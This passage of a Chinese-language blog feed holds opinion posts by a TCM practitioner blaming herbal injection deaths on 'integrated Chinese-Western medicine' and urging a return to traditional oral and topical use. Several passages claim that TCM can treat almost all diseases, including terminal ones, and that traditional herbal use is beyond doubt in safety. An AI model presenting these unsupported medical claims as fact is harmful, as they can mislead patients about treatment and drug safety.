其實關於所謂的[中西醫結合]醫學是一種中國[新醫學]的説法根本就是言過其實，筆者以爲，現行所標識的[中西醫結合]醫學學術的主體構想基本上還是應該歸屬於西醫的學術範疇，所不同的只是其所採用的臨床治療方法為中醫藥療法而已；也正因爲如此，筆者常常戲稱所謂的[中西醫結合]為採用[仿中醫療法]的西醫臨床診治模式。 當然這種[中西醫結合]思維是幼稚的、也是不可能成功的，因爲其本身就是一種矛盾的結合體，結合論者根本就無視中西醫這兩種各具特色的醫學體系之間所存在著的不可逾越的學術思維障礙。試想，中醫學說屬於整體論的學術思維，其學術理念多為模糊的概念；而西醫的學術思維屬於還原論的實質思維理念，必須具備“一對一”的學術思維模式。二者一虛一實，何來結合？ 而且，幾乎所有中醫藥療法的成型都遠在幾千年之前，它們的設定都不是為著改變當今所流行的西醫實驗室的各種檢驗數據、而只是為著改變中醫臨床所診斷出來的[病態證型]；即使其間某些療法或許對於某種西醫檢驗數據有著一定的改善，但其根本就不可能形成具有推廣價值的臨床意義。筆者以爲，這種隨意將患者重新當作小白鼠的醫療行爲是極不負責任的，應該予以堅決取締。 由於[中西醫結合]的學術思維十分混亂，故而常常會將中西醫兩种醫學不同的學術術語相互混淆。似此，既誤導著許多[中西醫結合]醫生以及中醫業界的末學者，同時也誤導著許許多多的患者，使得他們由於誤信這種荒唐的説法而胡亂使用中藥，直至導致中藥中毒而不自知。 總之，上述中藥注射液中毒事件的發生，絕不應該僅僅看作為產品質量問題，而應該提到醫學學術的高度來探索，而應該徹底釐清中西醫之間被混淆的醫學學術概念，而應該徹底反省[中西醫結合]政策的合理性。 事實上，所謂[中西醫結合]屬於時代的產物，屬於東西方文化踫撞所產生的怪胎；這種怪胎不但毫無學術價值，也正是在[中西醫結合]思維的指導之下，才會不斷出現一宗宗中草藥中毒的臨床醫療事故。 近期，中藥注射液中毒的醫療事故不幸又一次證實了筆者的預言，其代價至少又是3條人命。据中新網報道，在2009年9月7日、12日、15日，安徽、雲南、江蘇省各有一名患者死於使用黑龍江省多多藥業有限公司生産的雙黃連注射液之後；也就是說，在短短的9天之内，又有3人死於這種“中藥西用”變態藥品的使用過程之中。 當然，這類中藥注射液中毒的案例僅僅只為中國醫學臨床所特有，因爲也只有在中國才有可能存在將中藥製劑直接進行靜脈注射的離奇用藥方式；這種錯誤的中藥使用方式如不能得到及時制止，隨著更多的新的中藥注射液出現，必然還會有更多的冤魂出現在這種“中藥西用”的臨床過程之中。 在此筆者呼籲中國衛生管理部門，應該堅決取締“中藥西用”的上述做法，應該尊重中、西醫各自的藥品使用規律，從而使得中藥的使用回歸到傳統的醫學規範中來。中國憲法第21條是“發展傳統醫學”，並非指所謂的[中西醫結合]，因而應該讓中醫藥事業重新回歸到傳統的軌道中來發展；也只有這樣，中醫臨床目前所存在的許多痼疾才能夠得以消除，中藥中毒的臨床醫療事故才能夠得以杜絕，廣大患者才能不至於由於亂用中藥而失去健康、乃至生命。]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫  吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
近來，在中國接二連三地發生了中藥注射液中毒的醫療事故，其中，黑龍江完達山制藥廠生産的[刺五加注射液]，“繼造成雲南紅河州3人死亡後，雲南曲靖、開遠早前亦發現4宗疑似個案，其中2人已死亡；浙江臺州也有1名病人死亡；湖北也驚傳150人出現不良反應。（摘自洛杉磯《世界日報》2008年10月11日A16版）”<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
另據報道，繼完達山[刺五加注射液]奪走多名兒童性命之後，中國衛生部10月19日召開緊急電視電話會議，通報了陝西省延安市志丹縣醫院因使用山西太行藥業股份有限公司生産的[茵梔黃注射液]（批號為071001）之後，有4名新生兒發生不良反應，其中1名出生9天的新生兒於10月11日死亡。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
令人不安的是，對於這樣兩則消息，外界的反應並不強烈，頂多只是停留在追究產品的品質合不合格的問題方面。前者中國也曾發生過中草藥製劑[魚腥草注射液]在臨床上出現嚴重不良反應而被全面暫停使用的事件，而當時人們主要是將矛頭指向中藥的毒性問題之上；有人甚至由此而質疑中藥臨床使用的安全性與合理性。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上幾千年來無數的臨床案例都已經顯示出中藥的療效價值及其安全性；人們不會不知道，只要將魚腥草、刺五加採用中醫藥療法的傳統給藥方式，上述中毒事故根本就不可能發生。那麽既然類似的[中藥西用]經常會出現如此重大的醫療事故，我們爲什麽不去進一步探討這種將中藥直接注入體内的給藥方式是否符合正常的醫學學術規律、這種[中藥西用]的使用中藥方式是否危害到人體的健康等問題呢？<br />
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筆者以爲，在[中西醫結合]盛行的中國醫藥學界，出現這類中藥針劑的藥物中毒事件應該是必然的，它的醫療事故責任不應該簡單地歸咎為產品的質量問題，而應該將研究的重點放在這種[中藥西用]的用藥方式是否為肇事元兇的問題上。<br />
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其實這只是中國所特有的中草藥中毒醫療事故之一，它所反映的問題應該是中國現行醫療體制中所存在的最大隱患&#8212;-[中西醫結合]；如若這種[中藥西用]的問題不能得到有效的制止，日後依然還會在臨床上發生新的中藥注射液劑型的中毒事故。<br />
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依據相關介紹，該厰所生産的[刺五加注射液]是由五加科植物刺五加製成的靜脈中藥注射劑，其使用説明書標明可以用於治療短暫性腦缺血發作、腦動脈硬化、腦血栓形成、腦栓塞等疾病；也可用於治療冠心病、心絞痛、神經衰弱和更年期症狀等疾病。<br />
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顯然，生産廠家的上述説法所存在的問題在於缺乏嚴謹的醫學學術理論根據，而只是依據[中西醫結合]思維所臆測的用藥指導。上述醫療事故已經證實，這種簡單的人爲學術推理和拼湊當然與正常的學術規律存在著極大的距離；事實上，中藥刺五加根本就無法治愈上述心腦血管等疾病。<br />
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我們還應該注意到，臨床所使用的刺五加注射液並不是依據西藥製作規範所提取的“有效成分”，其主要劑型結構依然還是原有的中藥有機成分。<br />
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這就是問題之所在。具備中醫藥“四氣”、“五味”學術規律的[刺五加注射液]不是依照中藥“内服外敷”的使用規律而運用於臨床，卻採用西醫靜脈注射的給藥方式直接輸入患者體内，這種使用中藥的方式既明顯地違反著中醫關於[辨證論治]的臨床用藥準則，同樣也明顯地違反著西醫關於注射用藥的學術規範；如此草菅用藥，不出臨床事故那纔是怪事。<br />
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据報道，有人在滴注[刺五加注射液]時即出現頭痛、眩暈、心臟像滾水一樣翻騰，似乎整個心都要跳出來一樣；還有人又吐又瀉，手腳抽筋，直至昏迷。許多人在注射[刺五加注射液]之後出現周身不適、惡心、胸痛、寒顫等症狀，甚至還出現多人死亡的嚴重醫療事故。<br />
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人們常常願意將這種事件的緣由歸咎於“病原微生物”的污染、以爲只是藥物產品品質不合格的問題，但湖北省藥品不良反應檢測中心在10月9日公佈的報告顯示，該省150宗因注射[刺五加注射液]而出現不良反應的案例，並沒有使用此次被衛生部所通報的那兩個批次，而是涉及完達山藥廠所生産的其它批次的注射液、以及另外兩個藥廠所生産的[刺五加注射液]。<br />
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顯然，湖北省藥品不良反應檢測中心所提示的問題是嚴重的，[刺五加注射液]所導致的中毒事件，既包括著中國衛生部和國家食品藥品監督管理局10月7日所公佈的兩批共4萬8000瓶被懷疑受到“病原微生物”污染的[刺五加注射液]（規格為每瓶100毫升）之外，同時也應該包括著其它更爲大量的、或許並沒有被污染的[刺五加注射液]產品。<br />
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上述顯示，[刺五加注射液]所導致藥物中毒的醫療事故，其關鍵問題並非僅僅只存在於被查到的少量批次產品中，而涉及到幾乎所有的[刺五加注射液]產品。結合到魚腥草注射液、刺五加注射液、茵梔黃注射液等在臨床使用中所出現的毒性反應，筆者以爲，類似醫療事故的發生，絕對不僅僅只是產品的質量問題，而應該主要放在追究[中西醫結合]學術理念所導致的危害等問題方面。<br />
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人們不會忘記，前者比利時某西醫生以中藥木通爲主要成分製作“苗條丸”，在給渴望減肥的患者長期大劑量服用之後，出現多例腎衰竭、一例死亡的所謂“中草藥腎病”。當時人們都是將事故的責任歸咎於中藥的毒性問題，卻不願意追究當事人不遵循中藥的使用規則、亂用中藥而導致醫療事故的法律責任。其後英國某30歲華裔為了“加強肝臟解毒功能”而擅自服用龍膽瀉肝丸長達5年時間，其結果不但沒有增強機體肝臟的解毒功能，反而導致腎衰竭與多發性膀胱腫瘤。<br />
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事實上，依據中醫學説的學術理論，木通並不具備減肥功能，龍膽瀉肝丸也不可能為肝臟解毒；這些苦寒藥品根本就不適合於長期服用，久服必傷機體陽氣。而且中醫學術理論中“肝”的概念也並非指西醫解剖概念的實質器官&#8212;-肝臟，人們之所以會出現上述那種糊塗的認知應該是被[中西醫結合]學術思維所誤導的結果。<br />
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而上述中藥注射劑型的出現也完全出自於[中西醫結合]的學術思維，將中藥直接做成針劑而使用於臨床是[中西醫結合]運動的一大“成就”，他們以爲只需要如此簡單地將[中藥西用]，就一定可以直接得到中醫臨床的那種顯著療效。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
可以說在嚴謹的醫學學術理念問題上，在對待中西醫兩种不同的學術思維之間毫無共同之處的用藥方式等學術規律方面，所謂的[中西醫結合]論者是絲毫不會顧及的，他們所進行的[中西醫結合]模式也是極其盲目的；而他們所重視的應該只是中醫藥療法的使用形式、當然決不是其實質。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
如前所述，如若能夠遵照中醫藥的使用規律，魚腥草的使用規範應該為“内服外敷”的中藥給藥方式；如此用藥，臨床上根本就不可能出現魚腥草中毒的問題；而只有在被[中西醫結合]製成注射液而實施西醫靜脈滴注的給藥方式之後，才有可能出現上述這種反常的魚腥草中毒事件。<span id="more-290"></span><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
同樣的道理，刺五加的中醫臨床效用僅僅也只是祛風濕、強筋骨而已；由於刺五加具有添精補髓以及抗衰老的效用，自古以來，人們就常常將其作爲培補用藥。當然，刺五加的臨床用藥方式依然必須遵循中醫的用藥之道；如若能夠嚴格地遵循中醫藥“内服外敷”的給藥方式而使用刺五加，肯定也不可能出現上述中毒反應。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，除了上述因素之外，關於“北五加有強心利尿作用、有毒，不宜多用”的用藥規範（詳見上海科學技術出版社出版、發行的《中藥學》1984年6月版）也不能忽視。刺五加產於黑龍江山區，應該歸屬於北五加範疇，也就是說上述製作[刺五加注射液]所用的刺五加本身還具有一定的毒性。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由此可以認爲，患者所出現的頭痛、胸痛、心臟翻騰像滾水、眩暈、惡心、吐泄、手腳痙攣等毒副反應問題、或許可能與這種將中藥直接注入患者體内的[中西醫結合]給藥方式有著重大的關係，因爲這種給藥方式能夠導致北五加毒性直接通過血液運行而在患者體内迅速擴散。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
試想，在人們眼裏毫無毒性的魚腥草在製作成注射液使用之後尚且會出現毒性反應，而本身具有一定毒性的北五加注射液出現如此醫療事故則應該是理所當然的了。一般來説，中藥通過“内服外敷”的給藥方式，即使某些藥物含有絕對毒性，其通過胃腸、皮膚的吸收而能夠進入血液中的藥量應該較小；反之，如若直接將刺五加進行靜脈滴注，機體必然會隨著血液中藥物毒性的含量大增而出現上述毒性反應。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
當然，上述論點僅僅只是筆者的推測而已，真正的事故原因還需要通過專業的鑑定。不過正如筆者所常常強調的，作爲臨床醫生，在進行臨床治病時應該以維護患者的身體健康爲主，因而在診治疾病的過程中，無論使用何種醫藥療法，都應該嚴格遵循該醫學的學術規範，因爲中西醫所有的學術規範都是通過各自嚴格的學術驗證所制定的，必然有著相當的安全性。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們都知道，中醫不是西醫，中醫也從不隸屬於西醫體系，其有著自己獨特的學術規律，因而臨床使用中藥治病就必須完全遵循中醫藥的使用規則，循用中藥的傳統使用方式才會無虞；因爲中藥的傳統使用方式已經經過幾千年時間的臨床驗證，其安全有效性是不容置疑的。正是由於[中西醫結合]論的學術思維毫無道理地改變了中醫的傳統用藥方式，才會出現上述[中藥西用]的荒唐舉措，才會使得中藥中毒事故頻頻發生。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
筆者以爲，上述中藥注射液中毒的醫療事故所提示的問題主要在於以下兩點：其一，刺五加飲片的使用規律必須依據中醫臨床所診斷的[病態證型]，而不應該標示一系列的西醫心腦血管疾病名稱；應該懂得，中西醫二者屬於完全不同的疾病診治方式，絕對不應該如此混淆。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
這裡特別需要強調的是中藥的相對毒性問題。中醫臨床講究的是[辨證論治]，其治療原則為寒者熱之，熱者寒之，虛者補之，實者瀉之。這裡僅以藥物的寒熱屬性為例：五加皮性溫，臨床用於治療心腦血管疾病時，如若患者屬於熱性體質，即可謂火上加油，必然會出現熱甚的中毒反應。同理，魚腥草性微寒，如若誤給寒性體質患者消炎退熱，則猶如雪上加霜，必然會出現過寒的不適反應。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
這個問題還可以通過某些人亂服人參之後的感覺得以證實。人參性微溫、為大補元氣之品，但許多人虛不受補，吃過以後就會出現口腔糜爛，有的甚至出現腹脹如鼓。其實人參本身並不具備特定的毒性，但用之不當就會出現毒性反應，如果服用者屬於熱性體質，以人參所具有的微溫特性就會使得服用者由於熱邪囂張而出現口腔糜爛。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
對於許多多愁善感者來説，由於肝氣鬱結，平素腹中本來就多脹氣，常出現食後嗝逆、腹脹等不適感覺；此時如若誤服人參補氣，必然會越補越脹，下氣不通則只會出現如鼓之脹。上述顯示，使用無毒的人參都必須注意不得違背中醫關於“熱者寒之”、“實則瀉之”等學術理論。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
這就是中醫所說的[藥證不符]所導致的誤治問題，由於藥證相反，一般都會出現機體不適、乃至中毒現象。這是中醫臨床所特有的用藥規律，也是[中西醫結合]魯莽用藥難以突破的最大障礙。由此可以看出，大凡中藥飲片都存在著中醫學術概念的寒熱屬性歸屬，因而使用中藥時都必須進行嚴格的辨證，如若冒然採用西醫辨病的做法，必然存在藥物中毒的可能性。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而在上述制藥廠家將[中西醫結合]理論搬到其商品銷售環節的過程中，錯誤地將刺五加的上述中藥效用與心腦血管疾病、以及神經衰弱、更年期綜合症等西醫疾病名稱緊緊地掛上鈎，十分荒唐地將中醫的[辨證]與西醫的[辨病]划上等號。正由於如此誤導，才會出現上述中藥中毒的醫療事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
其二，刺五加等中藥飲片的給藥方式只能是“内服外敷”等傳統形式，而絕不應該採用西醫的靜脈注射等給藥方式。對於靜脈滴注，西醫的學術要求是相當嚴格的，其所使用的注射液也不是什麽都可以隨便用的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
可以肯定地說，靜脈注射單味中藥、或者中藥方劑是極其錯誤的做法，由於這種“中藥西用”的給藥方式無法掌控中藥的有機成分在機體組織内部的臨床反應，因此是相當危險的，很容易出現上述醫療事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以筆者認爲，上述中藥注射液中毒的責任主要應該歸咎於[中西醫結合]思維指導下所導致的不當給藥方式。如若中國衛生當局還不重視這個問題，類似的中藥注射液中毒的事件依然還會繼續發生，而遭到傷害的當然必定還是廣大的患者。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
綜上所述，將木通用於臨床減肥，是比利時某西醫生的臨床創意，也就是說，他將中藥的利水功效機械地詮釋為西醫的降脂作用。利用龍膽瀉肝丸清解肝經實熱的作用來加強肝臟的解毒功能，是使用者為[中西醫結合]論調所誤導，以至於誤將中醫之“肝”當作西醫解剖概念的肝臟來看待。同樣，將中草藥直接製成注射劑型用於臨床，也應該屬於[中西醫結合]臨床思維指導之下的產物，他們甚至盲目到會將中藥湯劑直接視作為西醫臨床的注射針劑。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，從動植物（當然包括中藥）中提取“有效成分”的做法一直在西醫的實驗室研究中進行，並取得一定的成果；截至目前階段，西醫已經從中藥中提取到麻黃素、黃連素、青蒿素等“有效成分”，並運用於臨床，也收到一定的療效。然而，上述魚腥草注射液、刺五加注射液、茵梔黃注射液的製作應該都沒有遵循上述的西藥製作模式，其藥物的主要結構依然還是以中藥的湯藥成分爲主。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，如若人們非得要以注射的方式來使用中藥，那也還是必須嚴格地遵循西藥的製作程序，譬如從魚腥草、刺五加中提取“素”類有效成分；也只有按照西藥的製劑模式所製作成的西藥劑型，方能以西醫的給藥方式運用於臨床。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
顯然，上述所謂的魚腥草注射液、刺五加注射液、茵梔黃注射液等都不具備西醫關於靜脈注射等用藥方式的藥品成分結構要求，如此亂用必然會出現不同程度的醫療事故。其實這種[中西醫結合]的用藥方式根本就不能稱作為中醫藥療法，更不是什麽“創新”，充其量也其僅僅只是形似而已。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，上述所謂中藥注射液的主要藥物結構依然還是從屬於中醫的學術範疇，而[中藥西用]的做法卻直接將中藥湯劑當作注射劑型而採用西醫給藥方式，其間問題的關鍵在於這些中藥製劑不一定符合西醫注射用藥的規範。因而可以說這種做法、既違背著中醫藥的使用規律，也違背著西醫注射用藥的學術規律。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由此可以看出，[中藥西用]不是亂用中藥，而應該按照西藥的製作規範來提取中藥中的“有效成分”，也就是說，必須將中藥轉變為西藥的學術結構才行。事實上，由於上述“素”類藥物並不具備中醫關於“四氣”、“五味”等學術規律，可以說其從根本上已經改變爲具有西藥特性的西藥。至於其是否能夠適用於肌肉注射、或者靜脈滴注，筆者不甚了然；但有一點可以斷定，那就是中醫臨床已經無法依據中醫的用藥規律來辨證施用這種從中藥中所提取的“素”類藥物了。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
所以說，現今中國臨床醫療所用的魚腥草、刺五加、茵梔黃等注射液製劑，並不是依據中西醫正常的醫學學術規律製成的，而是所謂[中西醫結合]思維的不當產物。事實上，這種將中藥湯劑強行套用西藥的給藥方式是一種極不負責任的粗暴醫療行爲，也可以稱作為草菅人命，這種不尊重醫學學術規律的醫療行爲，必將還會給更多的患者造成傷害。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們只要仔細分析一下就能知道，所謂的[中西醫結合]應該屬於人們主觀嫁接的不中不西的[中西醫湊合]醫學，其核心思維主要在於迎合人們對於“中醫不科學”的錯誤認知，因而其主張在臨床上採用西醫的診斷與中醫的治療相結合的不成熟方式。由此可以看出，上述導致臨床醫療事故的[中藥西用]方式完全是[中西醫結合]思維所指導而出現的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
其實關於所謂的[中西醫結合]醫學是一種中國[新醫學]的説法根本就是言過其實，筆者以爲，現行所標識的[中西醫結合]醫學學術的主體構想基本上還是應該歸屬於西醫的學術範疇，所不同的只是其所採用的臨床治療方法為中醫藥療法而已；也正因爲如此，筆者常常戲稱所謂的[中西醫結合]為採用[仿中醫療法]的西醫臨床診治模式。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
當然這種[中西醫結合]思維是幼稚的、也是不可能成功的，因爲其本身就是一種矛盾的結合體，結合論者根本就無視中西醫這兩種各具特色的醫學體系之間所存在著的不可逾越的學術思維障礙。試想，中醫學說屬於整體論的學術思維，其學術理念多為模糊的概念；而西醫的學術思維屬於還原論的實質思維理念，必須具備“一對一”的學術思維模式。二者一虛一實，何來結合？<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
而且，幾乎所有中醫藥療法的成型都遠在幾千年之前，它們的設定都不是為著改變當今所流行的西醫實驗室的各種檢驗數據、而只是為著改變中醫臨床所診斷出來的[病態證型]；即使其間某些療法或許對於某種西醫檢驗數據有著一定的改善，但其根本就不可能形成具有推廣價值的臨床意義。筆者以爲，這種隨意將患者重新當作小白鼠的醫療行爲是極不負責任的，應該予以堅決取締。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
由於[中西醫結合]的學術思維十分混亂，故而常常會將中西醫兩种醫學不同的學術術語相互混淆。似此，既誤導著許多[中西醫結合]醫生以及中醫業界的末學者，同時也誤導著許許多多的患者，使得他們由於誤信這種荒唐的説法而胡亂使用中藥，直至導致中藥中毒而不自知。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
總之，上述中藥注射液中毒事件的發生，絕不應該僅僅看作為產品質量問題，而應該提到醫學學術的高度來探索，而應該徹底釐清中西醫之間被混淆的醫學學術概念，而應該徹底反省[中西醫結合]政策的合理性。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，所謂[中西醫結合]屬於時代的產物，屬於東西方文化踫撞所產生的怪胎；這種怪胎不但毫無學術價值，也正是在[中西醫結合]思維的指導之下，才會不斷出現一宗宗中草藥中毒的臨床醫療事故。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
近期，中藥注射液中毒的醫療事故不幸又一次證實了筆者的預言，其代價至少又是3條人命。据中新網報道，在2009年9月7日、12日、15日，安徽、雲南、江蘇省各有一名患者死於使用黑龍江省多多藥業有限公司生産的雙黃連注射液之後；也就是說，在短短的9天之内，又有3人死於這種“中藥西用”變態藥品的使用過程之中。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
當然，這類中藥注射液中毒的案例僅僅只為中國醫學臨床所特有，因爲也只有在中國才有可能存在將中藥製劑直接進行靜脈注射的離奇用藥方式；這種錯誤的中藥使用方式如不能得到及時制止，隨著更多的新的中藥注射液出現，必然還會有更多的冤魂出現在這種“中藥西用”的臨床過程之中。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
在此筆者呼籲中國衛生管理部門，應該堅決取締“中藥西用”的上述做法，應該尊重中、西醫各自的藥品使用規律，從而使得中藥的使用回歸到傳統的醫學規範中來。中國憲法第21條是“發展傳統醫學”，並非指所謂的[中西醫結合]，因而應該讓中醫藥事業重新回歸到傳統的軌道中來發展；也只有這樣，中醫臨床目前所存在的許多痼疾才能夠得以消除，中藥中毒的臨床醫療事故才能夠得以杜絕，廣大患者才能不至於由於亂用中藥而失去健康、乃至生命。</span></p>
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		<title>削足適履的迷思</title>
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		<pubDate>Mon, 24 Aug 2009 03:34:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 ● 變的迷思 我們知道，現代科技發展神速，整個世界都在快速變化之中；而且，西醫基礎研究也進入到基因、幹細胞階段，因而某些中醫業者也在跺腳，也想“與時俱進”，許多人由此而墮入[中西醫結合]的桎梏之中。 當然，整個世界都在不停地發生變化，中醫學說當然也必須“變”。但是應該明瞭一個問題，應該從中西醫學説的學術結構中找出變的理由與規律，而決不是像綠頭蒼蠅一樣亂闖。 我們知道，隨著時代的發展，幾千年來中醫學說一直都在發展進步之中，新的學術内容也一直在充實中醫學說。面對不斷出現的臨床疾病，各種新的中醫辨證理論體系與臨床療法層出不窮，直至今日。可以說，雖然還不盡十分完美，但中醫臨床已經能夠基本完成中醫的醫學職能，甚至對於許多西醫目前還不具備有效療法的某些疾病，中醫臨床也能夠依據自己的學術理論予以治愈。 這裡筆者所強調的是中醫學說的整體觀能夠應付幾乎所有的臨床疾病，當然包括西醫所謂的“疑難雜症”、“絕症”、以及“新型疾病”。攻訐中醫的人們常常願意將中醫的上述臨床優勢說成是一個偶然現象，如若出於善意，那只是由於他們不懂得中醫的學術規律而已；如若蓄意歪曲，那也只能證明這些人絲毫不懂得學術思維應該具有多元性，更不懂得尊重不同學術思維的必要性。 與西醫的對抗療法思維不同，中醫臨床治病主要是依據整體調節的學術理論，也就是說，通過中醫藥療法的治療，患者的經絡得以暢通，患者的體質得以增強，因而患者機體的自我修復能力 &#8212;&#8212;&#8212;&#8212;- 總之，目前在中醫業界，存在著許許多多的“迷思”，筆者以爲，這麽多的迷思雖然表現各異，但可以歸根到一點，就是傳統中醫學術理念的迷失。我們許多中醫業者願意削足適履的目的雖然不盡相同，但是從中可以看到一個最簡單的問題，那就是這些人缺乏嚴謹的[中醫頭腦]。 身為中醫業者，卻不敢相信自己所從事專業學術結構的科學性，不敢信賴自己所從事專業各種療法的臨床效用，不懂得借用自己的學術優勢來挑戰臨床疑難雜症與絕症，甚至看不清自己所從事專業的科學價值與社會價值，這的確是一種悲哀。 也正是由於上述諸多的“迷失”，使得許多中醫業者對於中醫事業的前景並不看好，使得許多中醫業者企圖投靠西醫以保住自己的飯碗，於是，甘當附庸者有之，變傳統中醫業者為[中西醫結合]者有之，甚則投身“廢除中醫”陣營者也有之。然而應該明白，這一切都是負面的，其對於中醫事業不但有害，就是對於自己個人也不會有著多大的幫助。 如其彆彆扭扭地活得這麽辛苦，遠不如離開中醫行業另尋一份其他工作為好，中醫業者如若不能全身心地投入，如若不能具備堅實的[中醫頭腦]，絕對永遠做不好一個好的傳統中醫師。365行，行行可以出狀元，歷代多少著名中醫師都是辛苦奮鬥出來的，那種削足適履的投機心態與做法是不可能成功的。 上述顯示，任何借助西醫的學術思維理念與診治技術來改造中醫學說的企圖都是有害的，以害養生終爲害，其對於中醫頭腦的衝擊是相當嚴重的。筆者以爲，中醫事業淪落到如此地步，應該與許多中醫專業人士的這種削足適履的不良心態息息相關。 事實上難以數計的成功的中醫臨床案例已經清楚地顯示，中醫學說完全能夠勝任自己的基本專業職能，而且在某些“疑難雜症”、“絕症”、“新型疾病”的診治過程中甚至優於西醫臨床，這是不容否認的客觀事實。要不然，許多西醫業者在並不理解、或者瞧不起中醫的心態之下還爭著使用中醫藥療法，其原因就是他們知道對於某些疾病，中醫藥療法的臨床療效好過西醫療法；而所謂的[中西醫結合]論者也就是由於看重中醫藥的臨床療效，才會如此賣力地提倡所謂的[中西醫結合]。 所以說，中醫學說根本就不存在“不科學”的問題，也無須借助西醫學識來改進中醫療法，我們中醫業者必須昂起頭來，掌握好自己的專業知識，以自己精湛的醫療技術來博取社會的承認，同時以顯著的臨床療效來顯示中醫療法在某些領域甚至比西醫更具學術優勢。（完）]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
●	<strong>變的迷思</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，現代科技發展神速，整個世界都在快速變化之中；而且，西醫基礎研究也進入到基因、幹細胞階段，因而某些中醫業者也在跺腳，也想“與時俱進”，許多人由此而墮入[中西醫結合]的桎梏之中。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
當然，整個世界都在不停地發生變化，中醫學說當然也必須“變”。但是應該明瞭一個問題，應該從中西醫學説的學術結構中找出變的理由與規律，而決不是像綠頭蒼蠅一樣亂闖。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們知道，隨著時代的發展，幾千年來中醫學說一直都在發展進步之中，新的學術内容也一直在充實中醫學說。面對不斷出現的臨床疾病，各種新的中醫辨證理論體系與臨床療法層出不窮，直至今日。可以說，雖然還不盡十分完美，但中醫臨床已經能夠基本完成中醫的醫學職能，甚至對於許多西醫目前還不具備有效療法的某些疾病，中醫臨床也能夠依據自己的學術理論予以治愈。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
這裡筆者所強調的是中醫學說的整體觀能夠應付幾乎所有的臨床疾病，當然包括西醫所謂的“疑難雜症”、“絕症”、以及“新型疾病”。攻訐中醫的人們常常願意將中醫的上述臨床優勢說成是一個偶然現象，如若出於善意，那只是由於他們不懂得中醫的學術規律而已；如若蓄意歪曲，那也只能證明這些人絲毫不懂得學術思維應該具有多元性，更不懂得尊重不同學術思維的必要性。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
與西醫的對抗療法思維不同，中醫臨床治病主要是依據整體調節的學術理論，也就是說，通過中醫藥療法的治療，患者的經絡得以暢通，患者的體質得以增強，因而患者機體的自我修復能力<br />
&#8212;&#8212;&#8212;&#8212;-<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
